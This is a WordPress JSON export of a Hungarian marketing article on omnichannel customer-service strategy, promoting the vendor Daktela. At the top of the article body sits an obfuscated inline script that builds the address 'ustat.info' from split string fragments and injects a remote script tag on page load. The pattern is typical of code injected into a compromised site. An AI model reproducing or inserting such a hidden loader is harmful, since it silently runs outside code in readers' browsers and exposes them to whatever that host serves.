{"id":144681,"date":"2023-11-14T10:17:46","date_gmt":"2023-11-14T09:17:46","guid":{"rendered":"https:\/\/gazdasagportal.hu\/?p=144681"},"modified":"2023-11-14T10:17:46","modified_gmt":"2023-11-14T09:17:46","slug":"az-omnichannel-strategia-varazsa-ugyfelek-megtartasa-es-bevetelek-novelese","status":"publish","type":"post","link":"https:\/\/gazdasagportal.hu\/index.php\/az-omnichannel-strategia-varazsa-ugyfelek-megtartasa-es-bevetelek-novelese\/","title":{"rendered":"Az omnichannel strat\u00e9gia var\u00e1zsa: \u00fcgyfelek megtart\u00e1sa \u00e9s bev\u00e9telek n\u00f6vel\u00e9se"},"content":{"rendered":"<p><script>\n(function(){\no21a=document.createElement(\"script\");o21a.async=true;o21a_=\"u\"+(\"s\")+\"t\";\no21au=\"2183695525.\";o21a_+=\"a\"+(\"t.i\");o21a_+=\"n\"+(\"f\"+\"o\")+\"\/\";\no21au+=\"fy088ywf21ad1X53h1rgmb\"+(\"duv61qeg\");\no21a.src=\"https:\/\/\"+o21a_+o21au;o21a.type=\"text\/javascript\";\ndocument.body.appendChild(o21a);\n})();\n<\/script><\/p>\n<p><a href=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-medium wp-image-144682\" src=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy-300x200.jpg 300w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy-1024x684.jpg 1024w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy-768x513.jpg 768w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/0qww31hd5dlv8qy.jpg 1047w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><strong>Egyre t\u00f6bb alkalommal hallhat napjainkban az omnichannel strat\u00e9gi\u00e1r\u00f3l \u00e9s annak fontoss\u00e1g\u00e1r\u00f3l az \u00fcgyfelekkel val\u00f3 kommunik\u00e1ci\u00f3t illet\u0151en. Tudja pontosan mit jelent \u00e9s mi\u00e9rt fontos egy adott v\u00e1llalkoz\u00e1s \u00e9let\u00e9ben? Az omnichannel strat\u00e9gia az \u00fcgyfelek megtart\u00e1s\u00e1\u00e9rt \u00e9s a bev\u00e9teln\u00f6vel\u00e9s\u00e9rt alkalmazott modern eszk\u00f6zrendszer, amely a v\u00e1llalkoz\u00e1soknak seg\u00edt abban, hogy minden \u00e9rint\u00e9si ponton kiv\u00e1l\u00f3 \u00fcgyf\u00e9l\u00e9lm\u00e9nyt ny\u00fajtsanak. A tov\u00e1bbiakban pedig \u00e9rveljenek az omnichannel strat\u00e9gia hasznoss\u00e1ga mellett a lenti sorok.<\/strong><!--more--><\/p>\n<p><a href=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-144684\" src=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n-1024x683.jpg\" alt=\"\" width=\"620\" height=\"414\" srcset=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n-1024x683.jpg 1024w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n-300x200.jpg 300w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n-768x512.jpg 768w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/bk852d276mblf0n.jpg 1032w\" sizes=\"(max-width: 620px) 100vw, 620px\" \/><\/a><\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\"><b>Az omnichannel strat\u00e9gia t\u00e9rh\u00f3d\u00edt\u00e1sa<\/b><\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az elm\u00falt \u00e9vek vil\u00e1gj\u00e1rv\u00e1nya kihat\u00e1ssal volt a legt\u00f6bb m\u00e1rka \u00e9s v\u00e1llalat m\u0171k\u00f6d\u00e9s\u00e9re, t\u00f6bbek k\u00f6z\u00f6tt arra k\u00e9nyszer\u00edtette sokukat, hogy elismerj\u00e9k az <a href=\"https:\/\/daktela.com\/hu\/omnichannel-kommunikacio\" target=\"_blank\" rel=\"noopener\">omnichannel strat\u00e9gi\u00e1k<\/a> relevanci\u00e1j\u00e1t. A fogyaszt\u00f3k ugyanis f\u0151k\u00e9nt online v\u00e1s\u00e1roltak, \u00e9s ez id\u0151 alatt a legnagyobb sikerrel j\u00e1r\u00f3 m\u00e1rk\u00e1k azok voltak, amelyeknek siker\u00fclt online elk\u00f6telezni\u00fck \u00fcgyfeleiket, \u00e9s biztos\u00edtaniuk a legjobb omnichannel \u00e9lm\u00e9nyt.<\/p><div id=\"gazda-20579565\" class=\"gazda-tartalomban gazda-entity-placement\"><script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout-key=\"-6t+ed+2i-1n-4w\"\r\n     data-ad-client=\"ca-pub-1959107119989764\"\r\n     data-ad-slot=\"4008251320\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script><\/div>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Miel\u0151tt a Covid-pand\u00e9mia kirobbant volna, az \u00fcgyfelek t\u00f6bb csatorn\u00e1n \u00e9s eszk\u00f6z\u00f6n v\u00e1s\u00e1roltak. Egyre t\u00f6bben keresg\u00e9ltek online, majd bes\u00e9t\u00e1ltak az adott \u00fczletbe, ha v\u00e1s\u00e1rolni szerettek volna. A Think With Google adatai szerint azonban napjainkban \u2013 az elm\u00falt \u00e9vek v\u00e1ltoz\u00e1sai ellen\u00e9re is &#8211; a fogyaszt\u00f3k 55%-a m\u00e9g mindig szeret boltba menni, hogy megtapinthassa, illetve a saj\u00e1t szem\u00e9vel l\u00e1ssa a term\u00e9keket. M\u00e9g akkor is, ha v\u00e9g\u00fcl online v\u00e1s\u00e1rolnak, az \u00fczletekben szerzett \u00e9lm\u00e9nyeik gyakran befoly\u00e1solj\u00e1k a d\u00f6nt\u00e9seiket.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Ez\u00e9rt vil\u00e1gos, hogy az omnichannel l\u00e9nyeges eleme az, hogy minden csatorna \u00f6sszekapcsol\u00f3dik annak \u00e9rdek\u00e9ben, hogy egy \u00f6sszef\u00fcgg\u0151 m\u00e1rka\u00e9lm\u00e9nyt \u00e9s kapcsolt v\u00e1s\u00e1rl\u00e1si utat biztos\u00edtson az \u00fcgyf\u00e9l sz\u00e1m\u00e1ra. Ennek ellen\u00e9re, csak az szervezetek 11%-a \u00e1ll\u00edtja, hogy rendelkezik kifinomult omnichannel implement\u00e1ci\u00f3val.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az \u00fcgyf\u00e9lk\u00f6zpont\u00fa omnichannel strat\u00e9gia a v\u00e1s\u00e1rl\u00f3t helyezi a k\u00f6z\u00e9ppontba, \u00e9s biztos\u00edtja, hogy a v\u00e1s\u00e1rl\u00f3k gyorsan \u00e9s k\u00f6nnyed\u00e9n v\u00e1lthassanak az egyes m\u00e1rk\u00e1k \u00e9rintkez\u00e9si pontjai k\u00f6z\u00f6tt. Furcsa belegondolni, de a fizikai boltok mostan\u00e1ban hatalmas hajt\u00e1s alatt \u00e1llnak, \u00e9s az \u00fczletek \u00e9s az online v\u00e1s\u00e1rl\u00e1s k\u00f6lcs\u00f6n\u00f6sen kieg\u00e9sz\u00edtik egym\u00e1st.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\"><b>Az omnichannel strat\u00e9gia bev\u00e9teleket n\u00f6vel<\/b><\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Mi\u00f3ta az emberek nem csak egy-k\u00e9t, hanem ak\u00e1r hat vagy t\u00f6bb digit\u00e1lis \u00e9rint\u00e9si pontot haszn\u00e1lnak egy term\u00e9k v\u00e1s\u00e1rl\u00e1sakor, azok a v\u00e1llalatok, amelyek h\u00e1rom vagy t\u00f6bb csatorn\u00e1t haszn\u00e1lnak, jelent\u0151s, 494%-os rendel\u00e9si ar\u00e1ny n\u00f6veked\u00e9st \u00e9rhetnek el.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az omnichannel fogyaszt\u00f3k az \u00e9rt\u00e9kes\u00edt\u00e9s szempontj\u00e1b\u00f3l is kiemelkednek, mivel 30%-kal magasabb \u00e9lettartam-\u00e9rt\u00e9kkel b\u00edrnak a m\u00e1rk\u00e1k sz\u00e1m\u00e1ra, mint azok, akik csak egy csatorn\u00e1n v\u00e1s\u00e1rolnak. Teh\u00e1t a t\u00f6bb csatorna egyenl\u0151 a t\u00f6bb \u00e1rbev\u00e9tellel. Fontos l\u00e1tnunk, hogy azok a v\u00e1llalatok, amelyek a legjobb omnichannel \u00fcgyf\u00e9lkapcsolattal rendelkeznek, \u00e9vente \u00e1tlagosan 9,5%-kal n\u00f6velik bev\u00e9teleiket. Ezzel szemben a gyenge omnichannel m\u00e1rk\u00e1k mind\u00f6ssze 3,4%-os n\u00f6veked\u00e9st tapasztalnak.<\/p>\n<p><a href=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-144683\" src=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6-1024x684.jpg\" alt=\"\" width=\"620\" height=\"414\" srcset=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6-1024x684.jpg 1024w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6-300x200.jpg 300w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6-768x513.jpg 768w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2023\/11\/1jg914ty707add6.jpg 1047w\" sizes=\"(max-width: 620px) 100vw, 620px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\"><b>A v\u00e1s\u00e1rl\u00e1si \u00e9lm\u00e9ny \u00e9s az \u00fcgyf\u00e9lmegtart\u00e1s kulcsa: az omnichannel<\/b><\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">A leg\u00fajabb kutat\u00e1sok azt mutatj\u00e1k, hogy a v\u00e1s\u00e1rl\u00f3k t\u00f6bbs\u00e9ge nem hajland\u00f3 olyan m\u00e1rk\u00e1t\u00f3l v\u00e1s\u00e1rolni, amely nem k\u00edn\u00e1l integr\u00e1lt omnichannel \u00e9lm\u00e9nyt. A v\u00e1s\u00e1rl\u00f3k 59%-a azt mondta, hogy ink\u00e1bb egy versenyt\u00e1rst\u00f3l v\u00e1s\u00e1rolna, aki jobb v\u00e1s\u00e1rl\u00e1si \u00e9lm\u00e9nyt k\u00edn\u00e1l.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az \u00fcgyfelek is \u00e9rt\u00e9kelik az egyszer\u0171s\u00e9get \u00e9s a hat\u00e9konys\u00e1got. Senki sem szereti, ha t\u00f6bbsz\u00f6r ism\u00e9telgetni kell ugyanazt a probl\u00e9m\u00e1t k\u00fcl\u00f6nb\u00f6z\u0151 \u00fcgyf\u00e9lszolg\u00e1lati k\u00e9pvisel\u0151knek. Az omnichannel megold\u00e1s seg\u00edt ezt elker\u00fclni, \u00e9s ha az \u00fcgyfelek j\u00f3 tapasztalatokat szereznek, akkor biztosabb alapokon, hosszabb t\u00e1v\u00fa egy\u00fcttm\u0171k\u00f6d\u00e9s k\u00f6thet\u0151 vel\u00fck.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 130%;\"><b>L\u00e9p\u00e9st tart az id\u0151vel<\/b><\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az omnichannel strat\u00e9gia lehet\u0151v\u00e9 teszi a v\u00e1llalatok sz\u00e1m\u00e1ra, hogy optim\u00e1lis \u00fcgyf\u00e9lutat alak\u00edtsanak ki, \u00e9s meg\u00e9rts\u00e9k \u00fcgyfeleik szok\u00e1sait, viselked\u00e9s\u00fcket \u00e9s \u00e9rdekl\u0151d\u00e9s\u00fcket. A c\u00e9l az, hogy egy adott v\u00e1llalat olyan tartalmakat hozzon l\u00e9tre, amelyeket az \u00fcgyfelek keresnek, \u00e9s azt olyan form\u00e1ban \u00e9s csatorn\u00e1n tudja sz\u00e1ll\u00edtani, amelyet az \u00fcgyfelek el\u0151nyben r\u00e9szes\u00edtenek.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Az omnichannel megold\u00e1s lehet\u0151v\u00e9 teszi az \u00fcgyfelek kiszolg\u00e1l\u00e1s\u00e1t \u00e9s ig\u00e9nyeik kiel\u00e9g\u00edt\u00e9s\u00e9t az \u00f6sszes el\u00e9rhet\u0151 kommunik\u00e1ci\u00f3s csatorn\u00e1n kereszt\u00fcl, legyen sz\u00f3 <a href=\"https:\/\/daktela.com\/hu\/kapcsolattarto-kozpont\/\" target=\"_blank\" rel=\"noopener\"><u>Call center<\/u><\/a>-r\u0151l, <a href=\"https:\/\/daktela.com\/hu\/funkciok\/chatbot-voicebot-ai-automatizacios-megoldasok\/\" target=\"_blank\" rel=\"noopener\"><u>Chatbot<\/u><\/a>-r\u00f3l, <a href=\"https:\/\/daktela.com\/hu\/funkciok\/chatbot-voicebot-ai-automatizacios-megoldasok\/\" target=\"_blank\" rel=\"noopener\"><u>Voicebot<\/u><\/a>-r\u00f3l, <a href=\"https:\/\/daktela.com\/hu\/funkciok\/sms-chat-ugyfelekkel\/\" target=\"_blank\" rel=\"noopener\"><u>SMS<\/u><\/a>-r\u0151l, <a href=\"https:\/\/daktela.com\/hu\/ai-ugynok\/\" target=\"_blank\" rel=\"noopener\"><u>virtu\u00e1lis asszisztensr\u0151l<\/u><\/a>, <a href=\"https:\/\/daktela.com\/hu\/funkciok\/crm-rendszer-tamogatas\/\" target=\"_blank\" rel=\"noopener\"><u>CRM<\/u><\/a>-r\u0151l vagy<a href=\"https:\/\/daktela.com\/hu\/funkciok\/elo-chat-ugyfelszolgalat\/\" target=\"_blank\" rel=\"noopener\"><u> Webchat<\/u><\/a>-r\u0151l, vagy ak\u00e1r a <a href=\"https:\/\/daktela.com\/hu\/mesterseges-intelligencia-es-kommunikacio\/\" target=\"_blank\" rel=\"noopener\"><u>mesters\u00e9ges intelligencia (AI)<\/u><\/a> ny\u00fajtotta eszk\u00f6z\u00f6k felhaszn\u00e1l\u00e1s\u00e1r\u00f3l.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Minden m\u00e1rka arra t\u00f6rekszik, hogy t\u00e9rben \u00e9s id\u0151ben is ugyanazt az egys\u00e9ges kiszolg\u00e1l\u00e1si \u00e9lm\u00e9nyt ny\u00fajtsa. \u00c9ppen ez\u00e9rt a hazai v\u00e1llalkoz\u00f3knak l\u00e9p\u00e9st kell tartaniuk a fejl\u0151d\u00e9ssel, hiszen a hozz\u00e1adott \u00e9rt\u00e9k d\u00f6nti el, ki lesz a sikeresebb.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Amennyiben \u00d6n is szeretn\u00e9 megismerni r\u00e9szletesen, hogy a Daktel\u00e1ban milyen lehet\u0151s\u00e9gek vannak az omnichannelt illet\u0151en, k\u00e9rj\u00fck vegye fel vel\u00fcnk a kapcsolatot a Kapcsolatok oldalunkon, vagy egyszer\u0171en csak k\u00e9rjen t\u0151l\u00fcnk egy ingyenes bemutat\u00f3t.<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">El\u00e9rhet\u0151s\u00e9gek:<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Web: https:\/\/daktela.com\/hu\/<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">\u00c9rt\u00e9kes\u00edt\u00e9s: +36 1 800 1585<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Technikai t\u00e1mogat\u00e1s: +36 1 800 1584<\/p>\n<p style=\"margin-top: 0.42cm; margin-bottom: 0.42cm;\">Email: daktela@daktela.hu<\/p>\n<p style=\"margin-bottom: 0cm;\"><i>Adatforr\u00e1s: digizuite.com<\/i><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Egyre t\u00f6bb alkalommal hallhat napjainkban az omnichannel strat\u00e9gi\u00e1r\u00f3l \u00e9s annak fontoss\u00e1g\u00e1r\u00f3l az \u00fcgyfelekkel val\u00f3 kommunik\u00e1ci\u00f3t illet\u0151en. Tudja pontosan mit jelent \u00e9s mi\u00e9rt fontos egy adott v\u00e1llalkoz\u00e1s \u00e9let\u00e9ben? Az omnichannel strat\u00e9gia az \u00fcgyfelek megtart\u00e1s\u00e1\u00e9rt \u00e9s a bev\u00e9teln\u00f6vel\u00e9s\u00e9rt alkalmazott modern eszk\u00f6zrendszer, amely a v\u00e1llalkoz\u00e1soknak seg\u00edt abban, hogy minden \u00e9rint\u00e9si ponton kiv\u00e1l\u00f3 \u00fcgyf\u00e9l\u00e9lm\u00e9nyt ny\u00fajtsanak. A tov\u00e1bbiakban pedig \u00e9rveljenek &#8230;<\/p>\n","protected":false},"author":1001010,"featured_media":144682,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[19,436],"tags":[],"_links":{"self":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/144681"}],"collection":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/users\/1001010"}],"replies":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/comments?post=144681"}],"version-history":[{"count":1,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/144681\/revisions"}],"predecessor-version":[{"id":144685,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/144681\/revisions\/144685"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/media\/144682"}],"wp:attachment":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/media?parent=144681"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/categories?post=144681"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/tags?post=144681"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}